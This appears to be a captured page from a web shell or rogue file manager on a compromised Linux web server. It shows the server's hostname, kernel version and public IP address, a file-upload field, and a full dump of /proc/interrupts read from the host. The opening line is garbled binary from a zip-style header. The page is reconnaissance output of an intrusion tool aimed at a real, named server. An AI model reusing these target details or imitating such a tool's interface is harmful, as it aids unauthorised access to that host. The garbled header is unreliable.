PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /proc/thread-self/root/proc/
Server: Linux server2.noticiasdecolima.com 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
IP: 107.161.180.42
Choose File :

Url:
Dir : //proc/thread-self/root/proc/interrupts

            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
   0:         51          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          5          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  18:          0          0          0          0        102          0          0          0          0          0          0          0          0          0          0          0         62          0          0          0          0          0          0          0  IR-IO-APIC   18-fasteoi   ehci_hcd:usb1, ehci_hcd:usb2, i801_smbus
  19:          0          0          7          0          0        134          0          0          0          0          0          0          0          0          0          0          0         59          0          0          0          0          0          0  IR-IO-APIC   19-fasteoi   xhci-hcd:usb3
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 16384-edge      PCIe PME
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 32768-edge      PCIe PME
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 36864-edge      PCIe PME
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 49152-edge      PCIe PME
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME
  32:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 462848-edge      PCIe PME
  33:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 464896-edge      PCIe PME
  35:          0          0      13695          0 2160787290          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572864-edge      megasas0-msix0
  36:          0        221          0          0          0          0          0          0          0          0          0          0 1359589425          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 286720-edge      ahci[0000:00:11.4]
  37:          0          1          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3670016-edge      em1
  38:          0          0          8          0          0          0          0          0          0          0          0          0          0          0 2649874648          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3670017-edge      em1-TxRx-0
  39:          0          0          0  192749674          0          0          0          0          0          0          0          0          0          0          0          0 2487914684          0          0          0          0          0          0          0  IR-PCI-MSI 3670018-edge      em1-TxRx-1
  40:          0          0          0 2462344315          6          0          0          0          0          0          0          0          0          0          0          0  190507609          0          0          0          0          0          0          0  IR-PCI-MSI 3670019-edge      em1-TxRx-2
  41:          0 2464789508          0          0          0  190375254          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 3670020-edge      em1-TxRx-3
  42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 512000-edge      ahci[0000:00:1f.2]
  49:          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 65536-edge      ioat-msix
  51:          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67584-edge      ioat-msix
  52:          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 69632-edge      ioat-msix
  53:          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 71680-edge      ioat-msix
  54:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 73728-edge      ioat-msix
  55:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0  IR-PCI-MSI 75776-edge      ioat-msix
  56:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0  IR-PCI-MSI 77824-edge      ioat-msix
  57:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0  IR-PCI-MSI 79872-edge      ioat-msix
  59:          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67174400-edge      ioat-msix
  61:          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67176448-edge      ioat-msix
  62:          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67178496-edge      ioat-msix
  63:          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67180544-edge      ioat-msix
  64:          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67182592-edge      ioat-msix
  65:          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67184640-edge      ioat-msix
  66:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0          0  IR-PCI-MSI 67186688-edge      ioat-msix
  67:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          2          0          0          0          0  IR-PCI-MSI 67188736-edge      ioat-msix
  72:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
 NMI:     866600     699842     573950     522746     498667     472486     495290     425769     382835     353509     338917     330419     138919     215083     275163     297574     324165     340587     277066     289824     280179     276165     272064     271419   Non-maskable interrupts
 LOC: 1943591906  361718426 2648228842  392219496 4140988865 3525729512 3092469822 2214977055 1803342911 1477878074 1345792233 1268026944  639711172 1262763717 1847703345 1899862933 2152160632 2099529114  699321174  783133330  668220347  609625334  550980404  537436624   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:     866600     699842     573950     522746     498667     472486     495290     425769     382835     353509     338917     330419     138919     215083     275163     297574     324165     340587     277066     289824     280179     276165     272064     271419   Performance monitoring interrupts
 IWI:  722479480 1850414795  388246842 3762324114 3422261686 3142556106 3115980188 2760247108 2627620425 2479621448 2418203511 2374156387 2000314627 2191310107 2443639494 2408783856 2547962265 2484168783 2146474926 2175743315 2127369131 2095649559 2067105081 2053950307   IRQ work interrupts
 RTR:         13          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    3096780    5551920    5358649    4828883    5175974    3712968    1193741    1137759    1098278    1083481    1072187    1055245    2217291    3951204    3472785    4493364    3691093    3096052     923861     985769     987134     987813     975784     988922   Rescheduling interrupts
 CAL:  618571933  372387853  221949093  176284913  143481802  130778374  161978153  140400367  131741149  124644362  119142994  114562313  116108551  114890571  129383283  112292118  127669208  110286529  107861240  106278093  102426142   99311589   96218804   94170187   Function call interrupts
 TLB:   99583829   99254478   93147092   96623774   93483799   91346623   62718165   47886154   41148448   36457778   33406135   31403206   77052543   79051374   86553889   81158473   87579318   82974009   25342458   24737794   23964460   23319709   22349818   21727412   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     123807     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808     123808   Machine check polls
 HYP:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event